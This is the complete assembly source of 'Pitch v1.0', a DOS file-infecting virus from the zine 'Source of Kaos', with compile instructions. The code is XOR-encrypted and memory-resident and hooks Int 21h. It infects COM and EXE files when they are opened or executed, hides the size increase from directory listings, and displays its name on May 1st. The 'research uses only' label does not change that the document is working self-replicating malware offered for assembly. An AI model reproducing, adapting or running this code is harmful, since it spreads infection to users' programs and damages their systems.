;
;                          |- Source of Kaos -|
;                          |-    Issue #2    -|
;
; Pitch v1.0
; For research uses only.

; To Compile This Sample I used TASM 4.0 with /M Switch.  You must then run
; EXE2BIN to come out with a working COM Sample.

.386
.387
                org 100h

seg000          segment byte public 'CODE' use16
                assume cs:seg000

                assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
                db 0F0h                 ; LOCK

                mov     cx, 51Fh        ; Decrypt 1311 Bytes
                int     12h             ; Do Nothing Instruction
                mov     si, offset StartDecrypt

DecryptLoop:
                xor     byte ptr cs:[si], 0 ; Decrypt Byte
                int     12h             ; Do Nothing Instruction
                inc     si
                loop    DecryptLoop     ; Not Done? Then LOOP
StartDecrypt:
                cli
                mov     ax, 3306h
                xor     bx, bx
                int     21h             ; Get True MSDOS Version
                cmp     bl, 5           ; Dos 5 or Higher?
                jnb     GoodDOSVer      ; Yes? Then JMP.
                mov     ah, 4Ch 
                int     21h             ; Exit To DOS

GoodDOSVer:
                mov     bp, sp
                mov     si, [bp-6]      ; SI Points to VirusStart
                db      81h, 0EEh, 1Ah, 00h ; sub     si, 1Ah (*FIXUP*)
                mov     ah, 4
                int     1Ah             ; Get Date From Real Time Clock
                cmp     dx, 501h        ; Is it May 1st?
                jnz     NotMay1         ; No? Then JMP.
                mov     ah, 9
                lea     dx, [si+VirusName] ; Get Segment/Offset of VirusName (VirusName)
                int     21h             ; Write Virus Name to Screen
                int     20h             ; Exit To DOS

NotMay1:
                mov     ax, 4BFFh
                mov     bx, 1996h
                int     21h             ; Virus Installation Check
                cmp     ax, 331h        ; Installed?
                jnz     InstallVirus    ; No? Then JMP.

StartRestore:
                cmp     byte ptr cs:[si+FileType], 0; Is this a COM File? (FileType)
                jnz     RestoreEXE      ; No? Then JMP.
                cld     
                push    ss
                pop     es              ; ES = SS
                add     si, 519h        ; SI Points to Original Bytes
                mov     di, 100h
                push    ss
                push    di              ; Store Segment/Offset to Return To
                movsw                   ; Restore Original Bytes
                movsb                   ; Restore Original Bytes
                push    ss
                pop     ds              ; DS = SS
                retf                    ; Return To Original Program

RestoreEXE:
                mov     ah, 51h 
                int     21h             ; Get PSP Segment
                push    cs
                pop     ds              ; DS = CS
                assume ds:seg000
                mov     ax, [si+StartIP]   ; Get StartIP
                mov     [si+StoreIP], ax    ; Set EXE Start IP
                mov     ax, [si+StartCS]   ; Get StartCS
                add     ax, bx
                add     ax, 10h
                mov     [si+StoreCS], ax    ; Set EXE Start CS
                mov     ax, [si+StartSS]   ; Get StartSS
                add     ax, bx
                add     ax, 10h
                mov     ss, ax
                mov     sp, [si+StartSP]   ; Get StartSP
                mov     ds, bx          ; DS points to PSP
                assume ds:nothing
                mov     es, bx          ; ES points to PSP
                int     3               ; Trap to Debugger

JMPFarOrg       db 0EAh                 ; JMP To Original Program
StoreIP         dw 0
StoreCS         dw 0

InstallVirus:
                mov     ah, 52h 
                int     21h             ; Get List of Lists
                mov     bx, es:[bx-2]   ; BX points to First MCB Segment
                xor     di, di

FindLastMCB:
                mov     es, bx          ; ES points to MCB
                add     bx, es:[di+3]   ; Calculate Segment of Next MCB
                inc     bx
                cmp     byte ptr es:[di], 'M' ;  More to Follow?
                jz      FindLastMCB     ; Yes? Then JMP.
                push    es              ; Store Last MCB Segment
                mov     es, bx          ; ES points to Next MCB
                cmp     byte ptr es:[di], 'M' ; More To Follow?
                pop     es              ; Restore Last MCB Segment
                jnz     FoundLastMCB    ; No? Then JMP.

FindLastMCB2:
                mov     es, bx          ; ES points to MCB
                add     bx, es:[di+3]   ; Calculate Segment of Next MCB
                inc     bx
                cmp     byte ptr es:[di], 'M' ; More To Follow?
                jz      FindLastMCB2    ; Yes? Then JMP.

FoundLastMCB:
                sub     word ptr es:[di+3], 0A8h ; Subtract 2688 Bytes From MCB
                mov     ax, es
                add     ax, es:[di+3]
                inc     ax
                mov     es, ax          ; ES points to Next MCB
                push    cs
                pop     ds              ; DS = CS
                assume ds:seg000
                push    es              ; Store Virus Segment
                push    offset InMemoryRet; Store Offset to Return To
                cld     
                mov     cx, 531h        ; Move 1329 Bytes
                rep movsb               ; Move Virus Into Memory
                retf                    ; Return To Virus

InMemoryRet:
                xor     si, si
                mov     ds, cx          ; DS points to IVT
                cli     
                mov     ax, offset NewInt21
                xchg    ax, [si+84h]    ; Exchange Int 21h Offset
                mov     cs:Int21Ofs1, ax
                mov     cs:Int21Ofs2, ax; Store Int 21h Offset
                mov     ax, cs
                xchg    ax, [si+86h]    ; Exchange Int 21h Segment
                mov     cs:Int21Seg1, ax
                mov     cs:Int21Seg2, ax; Store Int 21h Segment
                push    cs
                pop     ds              ; DS = CS
                call    FindReal21
                jmp     StartRestore    ; Restore Original File

DoRealInt21:
                pushf   
                call    dword ptr cs:Int21Ofs1
                retn    

CheckFTime:
                and     al, 1Fh
                cmp     al, 1Eh
                retn    


CheckOutFile:

; This routine checks the filename against the list of 3 Filenames stored
; inside the body of the virus.  COMMAND, 4DOS, and EMM386.  If any of these
; names is matched the virus does NOT infect that file.

                pushf   
                pusha   
                push    ds              ; Store Registers
                push    cs
                pop     ds              ; DS = CS
                cld     
                add     di, 1Fh
                push    di

KeepChecking:
                xor     ch, ch
                lodsb                   ; Get Character of FileName
                or      al, al          ; Last Byte?
                jz      GotLastChar     ; Yes? Then JMP.
                mov     cl, al
                pop     di
                push    di

CheckMoreFile:
                lodsb
                inc     di
                dec     cx
                cmp     es:[di], al     ; Characters Match?
                jnz     NoMatch         ; No? Then JMP.
                jcxz    GotMatch
                jmp short CheckMoreFile

NoMatch:
                add     si, cx
                jmp short KeepChecking

GotLastChar:
                pop     di
                pop     ds
                assume ds:nothing
                popa    
                popf    
                clc                     ; Clear Carry Flag
                retn    

GotMatch:
                pop     di
                pop     ds
                popa    
                popf    
                stc                     ; Set Carry Flag
                retn    

FindFilesFCB:
                call    DoRealInt21
                pushf   
                cmp     al, 0FFh        ; None found?
                jnz     GotFileFCB      ; No? Then JMP.
                popf    
                retn    

GotFileFCB:
                pusha   
                push    es
                mov     ah, 2Fh 
                call    DoRealInt21     ; Get DTA Segment/Offset
                cmp     byte ptr es:[bx], 0FFh
                jnz     CheckForInf     ; Not FCB Structure? Then JMP.
                add     bx, 7

CheckForInf:
                mov     al, es:[bx+17h] ; Get FileTime/Seconds
                call    CheckFTime      ; IS File Infected?
                jnz     NotInfectFCB    ; No? Then JMP.
                sub     word ptr es:[bx+1Dh], 531h; Subtract 1329 Bytes From FileSize
                sbb     word ptr es:[bx+1Fh], 0
                and     byte ptr es:[bx+16h], 0E0h ; Fix File Time

NotInfectFCB:
                pop     es
                popa    
                popf    
                retn    

CopyVirus:
                pushf   
                pusha   
                push    es              ; Store Registers
                push    cs
                pop     es              ; ES = CS
                assume es:seg000
                cld     
                mov     cx, 531h        ; Move 1329 Bytes
                xor     si, si
                mov     di, 531h        ; After Virus Code
                rep movsb               ; Copy Virus After Virus Code
                mov     si, 531h
                mov     bx, 12h
                add     bx, ax          ; Calculate Offset of Encryption Start

                db      89h,9Ch,07h,00h ; mov [si+7], bx   (*FIXUP*)

                in      al, 40h         ; Get Cryptor

                db      88h, 84h, 0Ch, 00h ; mov     [si+0Ch], al (*FIXUP*)

                mov     cx, 51Fh        ; Encrypt 1311 Bytes

                db      8Dh, 0BCh, 12h, 00h ; lea     di, [si+12h] (*FIXUP*)

EncryptVirus:
                xor     [di], al
                inc     di
                loop    EncryptVirus
                pop     es
                assume es:nothing
                popa    
                popf    
                retn    

FindFilesDTA:
                call    DoRealInt21     ; Find File
                jb      NoFilesFound    ; Problems? Then JMP.
                pushf   
                pusha   
                push    es
                mov     ah, 2Fh 
                call    DoRealInt21     ; Get DTA Segment/Offset
                mov     al, es:[bx+16h] ; Get FileTime/Seconds
                call    CheckFTime      ; Check For Infection
                jnz     NoInfectDTA     ; Not infected? Then JMP.
                sub     word ptr es:[bx+1Ah], 531h; Subtract 1329 Bytes From FileSize
                sbb     word ptr es:[bx+1Ch], 0
                and     byte ptr es:[bx+16h], 0E0h ; Fix File Time

NoInfectDTA:
                pop     es
                popa    
                popf    

NoFilesFound:
                retn    

GetSystemAddress:
                push    bx
                mov     ax, 1220h
                int     2Fh             ; Get Job File Table Entry
                mov     ax, 1216h
                xor     bh, bh
                mov     bl, es:[di]     ; BL = File Table Entry Number
                int     2Fh             ; Get System File Table Address
                pop     bx
                retn    

InfectCOM:
                pushf   
                pusha   
                push    ds              ; Store Registers
                push    cs
                pop     ds              ; DS = CS
                assume ds:seg000
                mov     FileType, 0     ; Set File Type as COM
                mov     ah, 3Fh 
                mov     cx, 3           ; Read 3 Bytes
                mov     dx, offset OrgBytes
                call    DoRealInt21     ; Read In Original File
                mov     al, 2
                call    MoveFilePTRFrom ; Move File Pointer to End of File
                sub     ax, 3           ; Calculate JMP Offset
                mov     byte ptr exeHeader, 0E9h ; Setup JMP Instruction
                mov     word ptr exeHeader+1, ax; Setup JMP Offset
                add     ax, 103h
                call    CopyVirus       ; Copy/Encrypt Virus
                mov     cx, 531h        ; Write 1329 Bytes
                mov     dx, 531h        ; Offset of New Copy of Virus
                call    WriteVirus
                xor     al, al
                call    MoveFilePTRFrom ; Move File Pointer to Beginning of File
                mov     cx, 3           ; Write 3 Bytes
                mov     dx, offset exeHeader
                call    WriteVirus      ; Write JMP To File
                pop     ds
                assume ds:nothing
                popa    
                popf    
                clc                     ; Clear Carry Flag
                retn    

InfectEXE:
                pushf   
                pusha   
                push    ds
                push    es              ; Store Registers
                push    cs
                pop     ds              ; DS = CS
                assume ds:seg000
                push    cs
                pop     es              ; ES = CS
                assume es:seg000
                mov     FileType, 1     ; Set FileType as EXE
                mov     ah, 3Fh 
                mov     cx, 18h         ; Read In 24 Bytes
                mov     dx, offset OrgBytes
                call    DoRealInt21     ; Read In EXE Header
                cld     
                mov     cx, 18h         ; Copy 24 Bytes
                mov     si, offset OrgBytes
                mov     di, offset exeHeader
                rep movsb               ; Copy EXE Header
                cmp     OrgBytes, 5A4Dh ; EXE File?
                jnz     NotAnEXEFile    ; No? Then JMP.
                mov     al, 2
                call    MoveFilePTRFrom ; Move File Pointer to End of File
                add     ax, 531h        ; Add 1329 Bytes to FileSize
                adc     dx, 0
                mov     cx, 200h
                div     cx              ; Divide FileSize by 512
                or      dx, dx          ; Divisible?
                jz      FileIsEven      ; Yes? Then JMP.
                inc     ax              ; Increase Paragraph In File

FileIsEven:
                mov     exeLngthMOD, dx
                mov     exeLnghDIV, ax  ; Store New FileLength In exeHeader
                mov     al, 2
                call    MoveFilePTRFrom ; Move Pointer to End of File
                mov     cx, 10h
                div     cx              ; Divide FileSize by 16
                sub     ax, exeHeadSize ; Subtract HeaderSize From FileSize
                mov     exeStartIP, dx  ; Set New StartIP
                mov     exeStartCS, ax  ; Set New StartCS
                push    dx              ; Store New StartIP
                add     dx, 1000h
                mov     exeStartSS, ax  ; Set New StartSS
                mov     exeStartSP, dx  ; Set New StartSP
                pop     ax              ; AX Points to Virus Start
                call    CopyVirus
                mov     cx, 531h        ; Write 1329 Bytes
                mov     dx, 531h        ; Offset of Encrypted Virus
                call    WriteVirus
                xor     al, al
                call    MoveFilePTRFrom ; Move Pointer to Beginning of File
                mov     cx, 18h         ; Write 24 Bytes
                mov     dx, offset exeHeader
                call    WriteVirus      ; Write New EXE Header
                pop     es
                assume es:nothing
                pop     ds
                assume ds:nothing
                popa    
                popf                    ; Restore Registers
                clc                     ; Clear Carry Flag
                retn    

NotAnEXEFile:
                pop     es
                pop     ds
                popa    
                popf    
                stc     
                retn    

NewInt21:
                pushf   
                cmp     ax, 4BFFh       ; Virus Installation Check?
                jz      VirInstallCheck ; Yes? Then JMP.
                cmp     ah, 11h         ; Find First File (FCB)?
                jz      FindFileFCB     ; Yes? Then JMP.
                cmp     ah, 12h         ; Find Next File (FCB)?
                jz      FindFileFCB     ; Yes? Then JMP.
                cmp     ah, 3Dh   ; Open File?
                jz      OpenFile        ; Yes? Then JMP.
                cmp     ah, 43h   ; Set File Attributes?
                jz      OpenFile        ; Yes? Then JMP.
                cmp     ah, 4Bh   ; Set Execution State?
                jz      OpenFile        ; Yes? Then JMP.
                cmp     ah, 4Eh   ; Find First File?
                jz      FindFiles       ; Yes? Then JMP.
                cmp     ah, 4Fh   ; Find Next File?
                jz      FindFiles       ; Yes? Then JMP.
                cmp     ah, 56h   ; Rename File?
                jz      OpenFile        ; Yes? Then JMP.
                cmp     ax, 5700h       ; Get File Date/Time?
                jz      GetFTimeDate    ; Yes? Then JMP.
                cmp     ax, 5701h       ; Set File Date/Time?
                jz      SetFTimeDate    ; Yes? Then JMP.

DoReal21:
                popf    
                jmp     dword ptr cs:Int21Ofs2

FindFileFCB:
                popf    
                call    FindFilesFCB
                retf    2

FindFiles:
                popf    
                call    FindFilesDTA    ; Find File
                retf    2

GetFTimeDate:
                popf    
                call    GetFileTimeDate
                retf    2

SetFTimeDate:
                popf    
                call    SetFileTimeDate ; Set File Time/Date
                retf    2

VirInstallCheck:
                cmp     bx, 1996h       ; Install Check?
                jnz     DoReal21        ; No? Then JMP.
                mov     ax, 331h        ; Setup Return Registers
                popf                    ; Restore Flags
                iret    

OpenFile:
                pusha   
                push    ds
                push    es
                call    SetupInt2A
                mov     ax, 4300h
                call    DoRealInt21     ; Get File Attributes
                push    cx              ; Store File Attributes
                mov     ax, 4301h
                xor     cx, cx
                call    DoRealInt21     ; Clear File Attributes
                mov     ax, 3D00h
                call    DoRealInt21     ; Open File
                jb      CantOpenFile    ; Problems? Then JMP.
                xchg    ax, bx          ; Store FileHandle In BX
                call    GetSystemAddress
                mov     al, es:[di+0Dh] ; Get FileTime/Seconds
                call    CheckFTime      ; Infected Already?
                jz      FileInfected    ; Yes? Then JMP.
                mov     word ptr es:[di+2], 2
                cmp     word ptr es:[di+28h], 'OC'
                jnz     CheckForEXE     ; No? Then JMP.
                cmp     byte ptr es:[di+2Ah], 'M'
                jnz     FileInfected    ; No? Then JMP.
                mov     si, 4E8h
                call    CheckOutFile
                jb      FileInfected    ; Problems? Then JMP.
                call    InfectCOM
                jmp short FileInfected

CheckForEXE:
                cmp     word ptr es:[di+28h], 'XE'
                jnz     FileInfected    ; No? Then JMP.
                cmp     byte ptr es:[di+2Ah], 'E'
                jnz     FileInfected    ; No? Then JMP.
                mov     si, 4F8h
                call    CheckOutFile
                jb      FileInfected    ; Problems? Then JMP.
                call    InfectEXE

FileInfected:
                jb      CloseFile
                mov     ax, 5700h
                call    DoRealInt21     ; Get File Date/Time
                mov     ax, 5701h
                and     cl, 0FEh
                or      cl, 1Eh
                call    DoRealInt21     ; Set Infected File Time/Date

CloseFile:
                mov     ah, 3Eh 
                call    DoRealInt21     ; Close File

CantOpenFile:
                mov     ax, 4301h
                pop     cx
                call    DoRealInt21     ; Restore File Attributes
                call    RestoreInt2AFirst
                pop     es
                pop     ds
                popa    
                jmp     DoReal21

SetupInt2A:
                pushf   
                pusha   
                push    ds              ; Store Registers
                xor     si, si
                mov     ds, si          ; DS points to IVT
                assume ds:nothing
                mov     di, [si+0A8h]   ; Get Int 2Ah Offset
                mov     cs:Int2AOfs, di ; Store Int 2Ah Offset
                mov     ds, [si+0AAh]   ; Get Int 2Ah Segment
                assume ds:nothing
                mov     cs:Int2ASeg, ds ; Store Int 2Ah Segment
                mov     al, 0CFh 
                xchg    al, [di]        ; Exchange 1st Byte of Int 2Ah
                mov     cs:FirstInt2A, al; Store First Byte of Int 2Ah
                pop     ds
                popa    
                popf    
                retn    

MoveFilePTRFrom:
                mov     ah, 42h 
                xor     cx, cx
                cwd     
                call    DoRealInt21     ; Move File Pointer From Curr Offset
                retn    

GetFileTimeDate:
                call    DoRealInt21     ; Get File Date/Time
                jb      ProblemFTime    ; Problems? Then JMP.
                pushf   
                push    ax
                push    di
                push    es              ; Store Registers
                call    GetSystemAddress
                mov     al, es:[di+0Dh] ; Get FileTime/Seconds
                call    CheckFTime      ; Is File Infected?
                jnz     FTimeNotInfect  ; No? Then JMP.
                and     cl, 0E0h        ; Fix FileTime

FTimeNotInfect:
                pop     es
                pop     di
                pop     ax
                popf    

ProblemFTime:
                retn    

SetFileTimeDate:
                call    DoRealInt21     ; Set File Time/Date
                jb      CantSetTD       ; Problems? Then JMP.
                pushf   
                pusha   
                push    es              ; Store Registers
                call    GetSystemAddress
                mov     al, [di+0Dh]    ; Get FileTime/Seconds
                call    CheckFTime      ; Is File Infected?
                jnz     SetNotInfect    ; No? Then JMP.
                mov     ax, 5701h
                and     cl, 0FEh
                or      cl, 1Eh         ; Set Infection/Seconds
                call    DoRealInt21     ; Set Infected File Time/Date

SetNotInfect:
                pop     es
                popa    
                popf    

CantSetTD:
                retn    

FindReal21:
                pushf   
                pusha   
                push    ds
                mov     ax, 1203h
                int     2Fh             ; Get DOS Data Segment (MSDOS.SYS)
                mov     cx, 0FFFDh
                xor     si, si

ScanForHandler:
                lodsw                   ; Load Word
                dec     cx
                jcxz    NotFound
                dec     si
                cmp     ax, 9090h
                jnz     ScanForHandler  ; No Int 21h Yet? Then JMP.
                cmp     word ptr [si+1], 0CCE8h
                jnz     ScanForHandler  ; Not Yet? Then JMP.
                cmp     byte ptr [si+3], 0
                jnz     ScanForHandler  ; Load Word
                mov     si, [si+7]
                lds     si, [si]        ; Get Segment/Offset of REAL Int 21h
                mov     cs:Int21Ofs1, si
                mov     cs:Int21Seg1, ds; Store Real Int 21h Vectors
                add     si, 23h 
                cmp     word ptr [si], 1E06h; Int 21h Entry Point?
                jnz     NotFound        ; No? Then JMP.
                mov     cs:Int21Ofs1, si; Store New Int 21h Offset

NotFound:
                pop     ds
                popa    
                popf    
                retn    

RestoreInt2AFirst:
                pushf   
                pusha   
                push    es
                cld     
                mov     al, cs:FirstInt2A
                les     di, dword ptr cs:Int2AOfs
                stosb
                pop     es
                popa    
                popf    
                retn    

WriteVirus:
                pushf   
                pusha   
                push    es
                mov     ax, 1220h
                int     2Fh             ; Get Job File Table Entry
                push    word ptr es:[di]
                mov     ax, 1220h
                xor     bx, bx
                int     2Fh             ; Get Job File Table Entry
                pop     ax
                mov     ah, al
                xchg    ax, es:[di]
                push    ax
                mov     si, dx

WriteOutFile:
                lodsb                   ; Get Character of Virus
                cmp     al, 0FFh        ; Ooops.. Read A Character?
                xchg    ax, dx
                mov     ah, 6
                jnz     DirectConsole   ; No? Then JMP.
                mov     ah, 2

DirectConsole:
                call    DoRealInt21     ; Write Out Byte
                loop    WriteOutFile    ; Get Character of Virus
                pop     word ptr es:[di]
                pop     es
                popa
                popf
                retn
VirusName       db '[Pitch V1.0] by Dark Killer of [TPVO].',0Dh,0Ah,'$'
Int21Ofs1       dw 0
Int21Seg1       dw 0
FileType        db 0
Int21Ofs2       dw 0
Int21Seg2       dw 0
Int2AOfs        dw 0
Int2ASeg        dw 0
FirstInt2A      db 0
                db    5 ; 
m_4DOSName      db '4DOS '
                db    8 ; 
m_CommandName   db 'COMMAND '
                db    0 ; 
                db    7 ; 
m_Emm386        db 'EMM386 '
                db    0 ; 
exeHeader       dw 0
exeLngthMOD     dw 0
exeLnghDIV      dw 0
exeNumSeg       dw 0
exeHeadSize     dw 0
exeMinPara      dw 0
exeMaxPara      dw 0
exeStartSS      dw 0
exeStartSP      dw 0
exeCheckSum     dw 0
exeStartIP      dw 0
exeStartCS      dw 0
OrgBytes        dw 20CDh
OrgByte         db 90h
                db 0  
                dw 0
                dw 0
                dw 0
                dw 0
                dw 0
StartSS         dw 0
StartSP         dw 0
                dw 0
StartIP         dw 0
StartCS         dw 0

seg000          ends


                end 
